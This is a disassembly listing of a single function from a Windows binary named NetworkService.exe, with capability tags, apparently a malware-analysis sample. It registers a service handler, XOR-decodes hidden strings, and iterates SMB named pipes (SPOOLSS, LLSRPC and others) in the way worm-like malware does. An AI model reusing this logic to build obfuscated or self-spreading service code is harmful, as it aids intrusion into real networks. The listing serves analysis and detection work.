Function at 0x407d70
Capabilities:
Create thread
Encode data using xor
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0
push sym.NetworkService.exe_unsigned_long_int___stdcall_CertServiceHandler_unsigned_long_int__unsigned_long_int__void___void__
push 0x40bc5c
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov ecx, eax
mov dword [0x40df7c], ecx
test ecx, ecx
je 0x408177
mov eax, dword [0x40dec0]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov dword [0x40df60], eax
push 0x40df4c
inc eax
push ecx
mov dword [0x40df4c], 0x110
mov dword [0x40df5c], 0
mov dword [0x40df50], 2
mov dword [0x40df58], 0
mov dword [0x40df64], 0x2710
mov dword [0x40df54], 0
mov dword [0x40dec0], eax
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x40df4c
push dword [0x40df7c]
mov dword [0x40df6c], eax
mov dword [0x40df58], 0
mov dword [0x40df64], 0
mov dword [0x40df54], 5
mov dword [0x40df60], 0
test eax, eax
jne 0x407e55
mov dword [0x40df50], 1
call edi
pop edi
mov esp, ebp
pop ebp
ret
mov dword [0x40df50], 4
call edi
mov ecx, 0x40ddd0
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407e70
sub ecx, edx
xor eax, eax
sar ecx, 1
push ebx
mov ebx, 0x9d43
je 0x407e9d
lea esp, [esp]
xor word [eax*2 + 0x40ddd0], bx
inc eax
cmp eax, ecx
jb 0x407e90
push esi
push 0x40ddd0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407ed3
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x407ed3
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov al, byte [ebp - 4]
mov ecx, 0x40ddd0
mov byte [0x40df78], al
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407ee3
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x407f0d
jmp 0x407f00
xor word [eax*2 + 0x40ddd0], bx
inc eax
cmp eax, ecx
jb 0x407f00
call fcn.00408290
cmp dword [0x40df48], 0
ja 0x408174
push 0x8007
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, 0x40de64
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407f32
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x407f52
xor word [eax*2 + 0x40de64], bx
inc eax
cmp eax, ecx
jb 0x407f45
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x7d0
push 8
push dword [0x40df70]
call esi
mov dword [0x40df08], eax
test eax, eax
je 0x407f75
call fcn.00409980
mov eax, dword [0x40df70]
mov dword [0x40def0], 0
mov dword [0x40defc], 0
mov dword [0x40df00], 0
mov dword [0x40dee4], 0
mov dword [0x40dee8], 0
mov dword [0x40def4], 0
mov dword [0x40def8], eax
test eax, eax
je 0x408174
call fcn.00406dc0
test al, al
je 0x408174
push 0xc8
push 8
push dword [0x40df70]
call esi
push 0x320
push 8
push dword [0x40df70]
mov dword [0x40df68], eax
call esi
cmp dword [0x40df68], 0
mov dword [0x40df74], eax
je 0x408174
test eax, eax
je 0x408174
call fcn.00409a40
test al, al
je 0x408021
mov ecx, dword [0x40df68]
call fcn.00406f30
call fcn.00409e40
test al, al
je 0x408035
mov ecx, dword [0x40df74]
call fcn.00406fd0
push 0
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
call fcn.0040a780
push 0x3c
push 0
push 0x40df0c
call sub.msvcrt.dll_memset
add esp, 0x14
call fcn.0040a600
push 0x7d0
push 8
push dword [0x40df70]
call esi
push 0x7d0
mov esi, eax
push 0
push esi
call sub.msvcrt.dll_memset
mov ecx, str.COMNAP_COMNODE_SQLQUERY_SPOOLSS_LLSRPC_browser
mov edx, esi
add esp, 0xc
sub edx, ecx
lea esp, [esp]
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x408090
push 0x40be40
push esi
mov esi, dword [sym.imp.msvcrt.dll_wcstok]
call esi
add esp, 8
test eax, eax
je 0x4080cb
mov ecx, eax
call fcn.0040a890
push 0x40be40
push 0
call esi
add esp, 8
test eax, eax
jne 0x4080b4
mov ecx, 0x40be44
call fcn.0040a890
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x408520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x408125
cmp esi, 0xffffffff
je 0x408125
mov ecx, dword [0x40df6c]
push 1
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x10]
push eax
push 2
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
cmp eax, 0x102
jne 0x408125
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x40df6c]
test eax, eax
je 0x408135
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40df4c
push dword [0x40df7c]
mov dword [0x40df50], 1
mov dword [0x40df58], 0
mov dword [0x40df64], 0
mov dword [0x40df54], 5
mov dword [0x40df60], 0
call edi
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret